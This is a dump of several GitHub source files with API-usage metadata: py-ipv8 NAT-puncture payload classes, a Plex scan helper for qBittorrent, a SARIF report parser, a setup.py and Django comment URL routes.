"PyQt5.QtWidgets.QMainWindow", "line_number": 133, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 150, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Warning", "line_number": 152, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 152, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 154, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 154, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 162, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.resize", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 164, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 175, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Warning", "line_number": 177, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 177, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 179, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 179, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 186, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 190, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 190, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 190, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.LeftButton", "line_number": 194, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 194, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.LeftButton", "line_number": 200, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 200, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.LeftButton", "line_number": 205, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 205, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 207, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.green", "line_number": 209, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 209, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 209, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 214, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 217, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.yellow", "line_number": 219, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 219, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 219, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 224, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 227, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.blue", "line_number": 229, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 229, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 229, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QPoint", "line_number": 234, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 256, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Warning", "line_number": 258, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 258, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 260, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 260, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 288, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 288, "usage_type": "attribute"}]}
{"seq_id": "25434193910", "text": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom ..messaging.lazy_payload import VariablePayloadWID, vp_compile\nfrom ..messaging.serialization import Payload\n\nif TYPE_CHECKING:\n    from ..types import Address\n\n\ndef encode_connection_type(type: str) -> tuple[int, int]:  # noqa: A002\n    \"\"\"\n    Convert a type string to a tuple.\n    \"\"\"\n    if type == \"public\":\n        return 1, 0\n    if type == \"symmetric-NAT\":\n        return 1, 1\n    return 0, 0\n\n\ndef decode_connection_type(bit_0: int, bit_1: int) -> str:\n    \"\"\"\n    Convert connection type flags to a type string.\n    \"\"\"\n    bits = (bit_0, bit_1)\n    if bits == (0, 0):\n        return \"unknown\"\n    if bits == (1, 0):\n        return \"public\"\n    if bits == (1, 1):\n        return \"symmetric-NAT\"\n    return \"N/A\"\n\n\nclass IntroductionRequestPayload(Payload):\n    \"\"\"\n    Payload sent to peers that we are not connected to yet but have been punctured for us.\n    \"\"\"\n\n    msg_id = 246\n    format_list = ['ipv4', 'ipv4', 'ipv4', 'bits', 'H', 'raw']\n\n    def __init__(self, destination_address: Address, source_lan_address: Address,  # noqa: PLR0913\n                 source_wan_address: Address, advice: bool, connection_type: str, identifier: int, extra_bytes: bytes,\n                 supports_new_style: bool = True) -> None:\n        \"\"\"\n        Create the payload for an introduction-request message.\n\n        DESTINATION_ADDRESS is the address of the receiver.  Effectively this should be the\n        wan address that others can use to contact the receiver.\n\n        SOURCE_LAN_ADDRESS is the lan address of the sender.  Nodes in the same LAN\n        should use this address to communicate.\n\n        SOURCE_WAN_ADDRESS is the wan address of the sender.  Nodes not in the same\n        LAN should use this address to communicate.\n\n        ADVICE is a boolean value.  When True the receiver will introduce the sender to a new\n        node.  This introduction will be facilitated by the receiver sending a puncture-request\n        to the new node.\n\n        CONNECTION_TYPE is a unicode string indicating the connection type that the message\n        creator has. Currently, the following values are supported: u\"unknown\", u\"public\", and\n        u\"symmetric-NAT\".\n\n        IDENTIFIER is a number that must be given in the associated introduction-response.  This\n        number allows to distinguish between multiple introduction-response messages.\n\n        EXTRA_BYTES is a string that can be used to piggyback extra information.\n        \"\"\"\n        super().__init__()\n        self.destination_address = destination_address\n        self.source_lan_address = source_lan_address\n        self.source_wan_address = source_wan_address\n        self.advice = advice\n        self.supports_new_style = supports_new_style\n        self.connection_type = connection_type\n        self.identifier = identifier % 65536\n        self.extra_bytes = extra_bytes\n\n    def to_pack_list(self) -> list[tuple]:\n        \"\"\"\n        Convert this payload to a pack list.\n        \"\"\"\n        encoded_connection_type = encode_connection_type(self.connection_type)\n        return [('ipv4', self.destination_address),\n                ('ipv4', self.source_lan_address),\n                ('ipv4', self.source_wan_address),\n                ('bits', encoded_connection_type[0], encoded_connection_type[1], self.supports_new_style, 0, 0, 0, 0,\n                 self.advice),\n                ('H', self.identifier),\n                ('raw', self.extra_bytes)]\n\n    @classmethod\n    def from_unpack_list(cls: type[IntroductionRequestPayload], destination_address: Address,  # noqa: PLR0913\n                         source_lan_address: Address, source_wan_address: Address, connection_type_0: bool,\n                         connection_type_1: bool, supports_new_style: bool,\n                         dflag1: bool, dflag2: bool, tunnel: bool, sync: bool,  # noqa: ARG003\n                         advice: bool, identifier: int, extra_bytes: bytes) -> IntroductionRequestPayload:\n        \"\"\"\n        Unpack a payload from the given data.\n        \"\"\"\n        return IntroductionRequestPayload(destination_address,\n                                          source_lan_address,\n                                          source_wan_address,\n                                          [True, False][advice],\n                                          decode_connection_type(connection_type_0, connection_type_1),\n                                          identifier,\n                                          extra_bytes,\n                                          supports_new_style)\n\n\n@vp_compile\nclass NewIntroductionRequestPayload(VariablePayloadWID):\n    \"\"\"\n    New introduction request that supports non-IPv4 addresses.\n    \"\"\"\n\n    msg_id = 234\n    format_list = ['ip_address', 'ip_address', 'ip_address', 'H', 'bits', 'raw']\n    names = [\"destination_address\", \"source_lan_address\", \"source_wan_address\", \"identifier\", \"connection_type_0\",\n             \"connection_type_1\", \"supports_new_style\", \"dflag1\", \"dflag2\", \"tunnel\", \"sync\", \"advice\", \"extra_bytes\"]\n\n    destination_address: Address\n    source_lan_address: Address\n    source_wan_address: Address\n    identifier: int\n    connection_type_0: int\n    connection_type_1: int\n    supports_new_style: int\n    dflag1: int\n    dflag2: int\n    tunnel: int\n    sync: int\n    advice: int\n    extra_bytes: bytes\n\n\nclass IntroductionResponsePayload(Payload):\n    \"\"\"\n    Response to introduction requests.\n    \"\"\"\n\n    msg_id = 245\n    format_list = ['ipv4', 'ipv4', 'ipv4', 'ipv4', 'ipv4', 'bits', 'H', 'raw']\n\n    def __init__(self, destination_address: Address, source_lan_address: Address,  # noqa: PLR0913\n                 source_wan_address: Address, lan_introduction_address: Address,\n                 wan_introduction_address: Address, connection_type: str, identifier: int, extra_bytes: bytes,\n                 supports_new_style: bool = True, intro_supports_new_style: bool = False,\n                 peer_limit_reached: bool = False) -> None:\n        \"\"\"\n        Create the payload for an introduction-response message.\n\n        DESTINATION_ADDRESS is the address of the receiver.  Effectively this should be the\n        wan address that others can use to contact the receiver.\n\n        SOURCE_LAN_ADDRESS is the lan address of the sender.  Nodes in the same LAN\n        should use this address to communicate.\n\n        SOURCE_WAN_ADDRESS is the wan address of the sender.  Nodes not in the same\n        LAN should use this address to communicate.\n\n        LAN_INTRODUCTION_ADDRESS is the lan address of the node that the sender\n        advises the receiver to contact.  This address is zero when the associated request did\n        not want advice.\n\n        WAN_INTRODUCTION_ADDRESS is the wan address of the node that the sender\n        advises the receiver to contact.  This address is zero when the associated request did\n        not want advice.\n\n        CONNECTION_TYPE is a unicode string indicating the connection type that the message\n        creator has. Currently, the following values are supported: u\"unknown\", u\"public\", and\n        u\"symmetric-NAT\".\n\n        IDENTIFIER is a number that was given in the associated introduction-request.  This\n        number allows to distinguish between multiple introduction-response messages.\n\n        EXTRA_BYTES is a string that can be used to piggyback extra information.\n\n        When the associated request wanted advice the sender will also sent a puncture-request\n        message to either the lan_introduction_address or the wan_introduction_address\n        (depending on their positions).  The introduced node must sent a puncture message to the\n        receiver to punch a hole in its NAT.\n        \"\"\"\n        super().__init__()\n        self.destination_address = destination_address\n        self.source_lan_address = source_lan_address\n        self.source_wan_address = source_wan_address\n        self.lan_introduction_address = lan_introduction_address\n        self.wan_introduction_address = wan_introduction_address\n        self.connection_type = connection_type\n        self.supports_new_style = supports_new_style\n        self.intro_supports_new_style = intro_supports_new_style\n        self.peer_limit_reached = peer_limit_reached\n        self.identifier = identifier % 65536\n        self.extra_bytes = extra_bytes\n\n    def to_pack_list(self) -> list[tuple]:\n        \"\"\"\n        Convert this payload to a pack list.\n        \"\"\"\n        encoded_connection_type = encode_connection_type(self.connection_type)\n        return [('ipv4', self.destination_address),\n                ('ipv4', self.source_lan_address),\n                ('ipv4', self.source_wan_address),\n                ('ipv4', self.lan_introduction_address),\n                ('ipv4', self.wan_introduction_address),\n                ('bits', encoded_connection_type[0], encoded_connection_type[1], 0, self.supports_new_style,\n                 self.intro_supports_new_style, self.peer_limit_reached, 0, 0),\n                ('H', self.identifier),\n                ('raw', self.extra_bytes)]\n\n    @classmethod\n    def from_unpack_list(cls: type[IntroductionResponsePayload], destination_address: Address,  # noqa: PLR0913\n                         source_lan_address: Address, source_wan_address: Address, introduction_lan_address: Address,\n                         introduction_wan_address: Address, connection_type_0: bool, connection_type_1: bool,\n                         dflag0: bool, supports_new_style: bool, intro_supports_new_style: bool,  # noqa: ARG003\n                         peer_limit_reached: bool, dflag4: bool, dflag5: bool, identifier: int,  # noqa: ARG003\n                         extra_bytes: bytes) -> IntroductionResponsePayload:\n        \"\"\"\n        Convert the raw data to a payload.\n        \"\"\"\n        return IntroductionResponsePayload(destination_address,\n                                           source_lan_address,\n                                           source_wan_address,\n                                           introduction_lan_address,\n                                           introduction_wan_address,\n                                           decode_connection_type(connection_type_0, connection_type_1),\n                                           identifier,\n                                           extra_bytes,\n                                           supports_new_style,\n                                           intro_supports_new_style,\n                                           peer_limit_reached)\n\n\n@vp_compile\nclass NewIntroductionResponsePayload(VariablePayloadWID):\n    \"\"\"\n    New introduction response that supports non-IPv4 addresses.\n    \"\"\"\n\n    msg_id = 233\n    format_list = ['ip_address', 'ip_address', 'ip_address', 'ip_address', 'ip_address', 'H', 'bits', 'raw']\n    names = [\"destination_address\", \"source_lan_address\", \"source_wan_address\", \"lan_introduction_address\",\n             \"wan_introduction_address\", \"identifier\", \"intro_supports_new_style\", \"flag1\", \"flag2\", \"flag3\",\n             \"flag4\", \"flag5\", \"flag6\", \"flag7\", \"extra_bytes\"]\n\n    destination_address: Address\n    source_lan_address: Address\n    source_wan_address: Address\n    lan_introduction_address: Address\n    wan_introduction_address: Address\n    identifier: int\n    intro_supports_new_style: bool\n    flag1: int\n    flag2: int\n    flag3: int\n    flag4: int\n    flag5: int\n    flag6: int\n    flag7: int\n    extra_bytes: bytes\n\n\nclass PunctureRequestPayload(Payload):\n    \"\"\"\n    Payload to ask someone to puncture a third party for us.\n    \"\"\"\n\n    msg_id = 250\n    format_list = ['ipv4', 'ipv4', 'H']\n\n    def __init__(self, lan_walker_address: Address, wan_walker_address: Address, identifier: int) -> None:\n        \"\"\"\n        Create the payload for a puncture-request payload.\n\n        LAN_WALKER_ADDRESS is the lan address of the node that the sender wants us to\n        contact.  This contact attempt should punch a hole in our NAT to allow the node to\n        connect to us.\n\n        WAN_WALKER_ADDRESS is the wan address of the node that the sender wants us to\n        contact.  This contact attempt should punch a hole in our NAT to allow the node to\n        connect to us.\n\n        IDENTIFIER is a number that was given in the associated introduction-request.  This\n        number allows to distinguish between multiple introduction-response messages.\n        \"\"\"\n        super().__init__()\n        self.lan_walker_address = lan_walker_address\n        self.wan_walker_address = wan_walker_address\n        self.identifier = identifier % 65536\n\n    def to_pack_list(self) -> list[tuple]:\n        \"\"\"\n        Convert this payload to a pack list.\n        \"\"\"\n        return [('ipv4', self.lan_walker_address),\n                ('ipv4', self.wan_walker_address),\n                ('H', self.identifier)]\n\n    @classmethod\n    def from_unpack_list(cls: type[PunctureRequestPayload], lan_walker_address: Address, wan_walker_address: Address,\n                         identifier: int) -> PunctureRequestPayload:\n        \"\"\"\n        Create a payload from the given data.\n        \"\"\"\n        return PunctureRequestPayload(lan_walker_address, wan_walker_address, identifier)\n\n\n@vp_compile\nclass NewPunctureRequestPayload(VariablePayloadWID):\n    \"\"\"\n    New puncture request that supports non-IPv4 addresses.\n    \"\"\"\n\n    msg_id = 232\n    format_list = ['ip_address', 'ip_address', 'H']\n    names = [\"lan_walker_address\", \"wan_walker_address\", \"identifier\"]\n\n    lan_walker_address: Address\n    wan_walker_address: Address\n    identifier: int\n\n\nclass PuncturePayload(Payload):\n    \"\"\"\n    Attempt to puncture a NAT layer.\n    \"\"\"\n\n    msg_id = 249\n    format_list = ['ipv4', 'ipv4', 'H']\n\n    def __init__(self, source_lan_address: Address, source_wan_address: Address, identifier :int) -> None:\n        \"\"\"\n        Create the payload for a puncture message.\n\n        SOURCE_LAN_ADDRESS is the lan address of the sender.  Nodes in the same LAN\n        should use this address to communicate.\n\n        SOURCE_WAN_ADDRESS is the wan address of the sender.  Nodes not in the same\n        LAN should use this address to communicate.\n\n        IDENTIFIER is a number that was given in the associated introduction-request.  This\n        number allows to distinguish between multiple introduction-response messages.\n        \"\"\"\n        super().__init__()\n        self.source_lan_address = source_lan_address\n        self.source_wan_address = source_wan_address\n        self.identifier = identifier % 65536\n\n    def to_pack_list(self) -> list[tuple]:\n        \"\"\"\n        Convert this payload to a pack list.\n        \"\"\"\n        return [('ipv4', self.source_lan_address),\n                ('ipv4', self.source_wan_address),\n                ('H', self.identifier)]\n\n\n    @classmethod\n    def from_unpack_list(cls: type[PuncturePayload], lan_walker_address: Address, wan_walker_address: Address,\n                         identifier: int) -> PuncturePayload:\n        \"\"\"\n        Conver the given data to a payload.\n        \"\"\"\n        return PuncturePayload(lan_walker_address, wan_walker_address, identifier)\n\n\n@vp_compile\nclass NewPuncturePayload(VariablePayloadWID):\n    \"\"\"\n    New puncture payload that supports non-IPv4 addresses.\n    \"\"\"\n\n    msg_id = 231\n    format_list = ['ip_address', 'ip_address', 'H']\n    names = [\"source_lan_address\", \"source_wan_address\", \"identifier\"]\n\n    source_lan_address: Address\n    source_wan_address: Address\n    identifier: int\n", "repo_name": "Tribler/py-ipv8", "sub_path": "ipv8/messaging/payload.py", "file_name": "payload.py", "file_ext": "py", "file_size_in_byte": 15518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 214, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 8, "usage_type": "name"}, {"api_name": "messaging.serialization.Payload", "line_number": 37, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 45, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 46, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 97, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 98, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.VariablePayloadWID", "line_number": 116, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 126, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 127, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 128, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.vp_compile", "line_number": 115, "usage_type": "name"}, {"api_name": "messaging.serialization.Payload", "line_number": 141, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 149, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 150, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 151, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 217, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 218, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 219, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.VariablePayloadWID", "line_number": 240, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 251, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 252, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 253, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 254, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 255, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.vp_compile", "line_number": 239, "usage_type": "name"}, {"api_name": "messaging.serialization.Payload", "line_number": 268, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 276, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 305, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.VariablePayloadWID", "line_number": 314, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 323, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 324, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.vp_compile", "line_number": 313, "usage_type": "name"}, {"api_name": "messaging.serialization.Payload", "line_number": 328, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 336, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 364, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.VariablePayloadWID", "line_number": 373, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 382, "usage_type": "name"}, {"api_name": "types.Address", "line_number": 383, "usage_type": "name"}, {"api_name": "messaging.lazy_payload.vp_compile", "line_number": 372, "usage_type": "name"}]}
{"seq_id": "35293907399", "text": "import logging\nimport subprocess\nfrom pathlib import Path\n\nlog = logging.getLogger(__name__)\n\n\nclass PlexScanner:\n    \"\"\"\n    determines if plex should scan its libraries after a new download is completed\n    and issues plex scan command\n    \"\"\"\n\n    def __init__(self, config, qbitclient):\n        self.config = config\n        self.qbitclient = qbitclient\n\n    def get_completed_downloads(self):\n        \"\"\"get the completed downloads unyet processed\"\"\"\n        completed_list = self.qbitclient.torrents_info(status_filter=\"completed\")\n        return [\n            i\n            for i in completed_list\n            if \"Processed\" not in i.tags and self.get_genre(i.save_path)\n        ]\n\n    def get_genre(self, save_path):\n        \"\"\"gets genre of torrent\n        Args:\n            save_path: torrent save_path\n        Returns:\n            genre from config or False\n        \"\"\"\n        genre_path = Path(save_path).parent\n        for key, val in self.config[\"genres\"].items():\n            if Path(val[\"moveToDir\"]) == genre_path:\n                return key\n        return False\n\n    def plex_scan(self):\n        \"\"\"runs plex scan command as subprocess\"\"\"\n        s_out = (\n            subprocess.check_output(self.config[\"plexScanCommand\"])\n            .strip()\n            .decode(\"UTF-8\")\n        )\n        if \"Got nothing for: It's All Connected\" in s_out:\n            log.debug(f\"Plex scan success, stdout: '{s_out}'\")\n        else:\n            log.debug(f\"Plex scan failed, stdout: '{s_out}'\")\n\n    def scan_if_needed(self):\n        \"\"\"determines if scanning plex is required and runs command if needed\"\"\"\n        completed_downloads = self.qbitclient.torrents_info(status_filter=\"completed\")\n        requires_scan = [\n            i.hash\n            for i in completed_downloads\n            if self.get_genre(i.save_path)\n            and self.config[\"genres\"][self.get_genre(i.save_path)][\"scanPlex\"]\n            and \"Scanned\" not in i.tags\n        ]\n        if requires_scan:\n            log.debug(\"Running plex scan\")\n            self.plex_scan()\n            self.qbitclient.torrents_add_tags(\n                tags=\"Scanned\", torrent_hashes=requires_scan\n            )\n        else:\n            log.debug(\"No plex scan needed\")\n", "repo_name": "snazzypapa/qbitmgr", "sub_path": "utils/plex_scanner.py", "file_name": "plex_scanner.py", "file_ext": "py", "file_size_in_byte": 2237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 34, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "12732689283", "text": "import json\nimport logging\nimport re\nimport textwrap\nimport dateutil.parser\nfrom dojo.models import Finding\n\nlogger = logging.getLogger(__name__)\n\nCWE_REGEX = r'cwe-\\d+$'\n\n\nclass SarifParser(object):\n    \"\"\"OASIS Static Analysis Results Interchange Format (SARIF) for version 2.1.0 only.\n\n    https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=sarif\n    \"\"\"\n\n    def get_scan_types(self):\n        return [\"SARIF\"]\n\n    def get_label_for_scan_types(self, scan_type):\n        return scan_type  # no custom label for now\n\n    def get_description_for_scan_types(self, scan_type):\n        return \"SARIF report file can be imported in SARIF format.\"\n\n    def get_findings(self, filehandle, test):\n        tree = json.load(filehandle)\n        return self.get_items(tree, test)\n\n    def get_items(self, tree, test):\n        items = list()\n        # for each runs\n        for run in tree.get('runs', list()):\n            # load rules\n            rules = get_rules(run)\n            artifacts = get_artifacts(run)\n            # get the timestamp of the run if possible\n            run_date = self._get_last_invocation_date(run)\n            for result in run.get('results', list()):\n                item = get_item(result, rules, artifacts, run_date)\n                items.append(item)\n        return items\n\n    def _get_last_invocation_date(self, data):\n        invocations = data.get('invocations', [])\n        if len(invocations) == 0:\n            return None\n        # try to get the last 'endTimeUtc'\n        raw_date = invocations[-1].get('endTimeUtc')\n        if raw_date is None:\n            return None\n        # if the data is here we try to convert it to datetime\n        return dateutil.parser.isoparse(raw_date)\n\n\ndef get_rules(run):\n    rules = {}\n    for item in run['tool']['driver'].get('rules', []):\n        rules[item['id']] = item\n    return rules\n\n\ndef get_rule_tags(rule):\n    if 'properties' not in rule:\n        return []\n    if 'tags' not in rule['properties']:\n        return []\n    else:\n        return rule['properties']['tags']\n\n\ndef get_rule_cwes(rule):\n    cwes = []\n    for tag in get_rule_tags(rule):\n        matches = re.search(CWE_REGEX, tag, re.IGNORECASE)\n        if matches:\n            cwes.append(int(matches[0].split(\"-\")[1]))\n    return cwes\n\n\ndef get_artifacts(run):\n    artifacts = {}\n    custom_index = 0  # hack because some tool doesn't generate this attribute\n    for tree_artifact in run.get('artifacts', []):\n        artifacts[tree_artifact.get('index', custom_index)] = tree_artifact\n        custom_index += 1\n    return artifacts\n\n\ndef get_severity(data):\n    \"\"\"Convert level value to severity\n    \"\"\"\n    if 'warning' == data:\n        return 'Medium'\n    elif 'error' == data:\n        return 'Critical'\n    else:\n        return 'Info'\n\n\ndef get_message_from_multiformatMessageString(data, rule):\n    \"\"\"Get a message from multimessage struct\n\n    See here for the specification: https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/sarif-v2.1.0-os.html#_Toc34317468\n    \"\"\"\n    if rule is not None and 'id' in data:\n        text = rule['messageStrings'][data['id']].get('text')\n        arguments = data.get('arguments', [])\n        # argument substitution\n        for i in range(6):  # the specification limit to 6\n            substitution_str = \"{\" + str(i) + \"}\"\n            if substitution_str in text:\n                text = text.replace(substitution_str, arguments[i])\n            else:\n                return text\n    else:\n        # TODO manage markdown\n        return data.get('text')\n\n\ndef cve_try(val):\n    # Match only the first CVE!\n    cveSearch = re.search(\"(CVE-[0-9]+-[0-9]+)\", val, re.IGNORECASE)\n    if cveSearch:\n        return cveSearch.group(1).upper()\n    else:\n        return None\n\n\ndef get_item(result, rules, artifacts, run_date):\n    mitigation = result.get('Remediation', {}).get('Recommendation', {}).get('Text', \"\")\n    references = result.get('Remediation', {}).get('Recommendation', {}).get('Url')\n\n    # if there is a location get it\n    file_path = None\n    line = -1\n    if \"locations\" in result:\n        location = result['locations'][0]\n        if 'physicalLocation' in location:\n            file_path = location['physicalLocation']['artifactLocation']['uri']\n            # 'region' attribute is optionnal\n            if 'region' in location['physicalLocation']:\n                line = location['physicalLocation']['region']['startLine']\n\n    # test rule link\n    rule = rules.get(result['ruleId'])\n    title = result['ruleId']\n    if 'message' in result:\n        description = get_message_from_multiformatMessageString(result['message'], rule)\n        if len(description) < 150:\n            title = description\n    description = ''\n    severity = get_severity('warning')\n    if rule is not None:\n        # get the severity from the rule\n        if 'defaultConfiguration' in rule:\n            severity = get_severity(rule['defaultConfiguration'].get('level', 'warning'))\n\n        if 'shortDescription' in rule:\n            description = get_message_from_multiformatMessageString(rule['shortDescription'], rule)\n        elif 'fullDescription' in rule:\n            description = get_message_from_multiformatMessageString(rule['fullDescription'], rule)\n        elif 'name' in rule:\n            description = rule['name']\n        else:\n            description = rule['id']\n\n    # we add a special 'None' case if there is no CWE\n    cwes = [0]\n    if rule is not None:\n        cwes_extracted = get_rule_cwes(rule)\n        if len(cwes_extracted) > 0:\n            cwes = cwes_extracted\n\n    finding = Finding(title=textwrap.shorten(title, 150),\n                    severity=severity,\n                    description=description,\n                    mitigation=mitigation,\n                    references=references,\n                    cve=cve_try(result['ruleId']),  # for now we only support when the id of the rule is a CVE\n                    cwe=cwes[0],\n                    static_finding=True,  # by definition\n                    dynamic_finding=False,  # by definition\n                    file_path=file_path,\n                    line=line)\n\n    if run_date:\n        finding.date = run_date\n\n    return finding\n", "repo_name": "manu20202/test1", "sub_path": "dojo/tools/sarif/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 6196, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "json.load", "line_number": 29, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.isoparse", "line_number": 55, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 55, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 55, "usage_type": "name"}, {"api_name": "re.search", "line_number": 77, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 77, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 125, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 125, "usage_type": "attribute"}, {"api_name": "dojo.models.Finding", "line_number": 177, "usage_type": "call"}, {"api_name": "textwrap.shorten", "line_number": 177, "usage_type": "call"}]}
{"seq_id": "33535561996", "text": "from setuptools import find_packages, setup\nfrom typing import List\n\n\nHYPEN_E_DOT = '-e .'\n\ndef get_requirements(path:str)->List[str]:\n    requirements = []\n    with open(path, 'r') as f:\n        requirements = f.readlines()\n        requirements = [req.replace('\\t','') for req in requirements]\n        if HYPEN_E_DOT in requirements:\n            requirements.remove(HYPEN_E_DOT)\n    return requirements\n\n\nsetup(\n    name='housing_price',\n    version='0.0.1',\n    author='hau`',\n    author_email='tranquochao0102@gmail.com',\n    packages= find_packages(),\n    install_requires=get_requirements('requirements.txt'),\n    \n)", "repo_name": "haotran0103/pass_fall", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 621, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 17, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "42913114602", "text": "from django.urls import path\nfrom . import views\n\napp_name = \"comments\"\nurlpatterns = [\n    # POST comment\n    # Ex: /api/books/1/comments/\n    path(\"\", views.comment_post_controller, name=\"comment_controller\"),\n    \n    # PUT and DELETE a comment\n    # Ex: /api/books/1/comments/1/\n    path(\n        \"/\",\n        views.comment_update_controller,\n        name=\"comment_update_controller\",\n    ),\n]\n", "repo_name": "Tejas-117/Books-Club", "sub_path": "api/comments/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]}
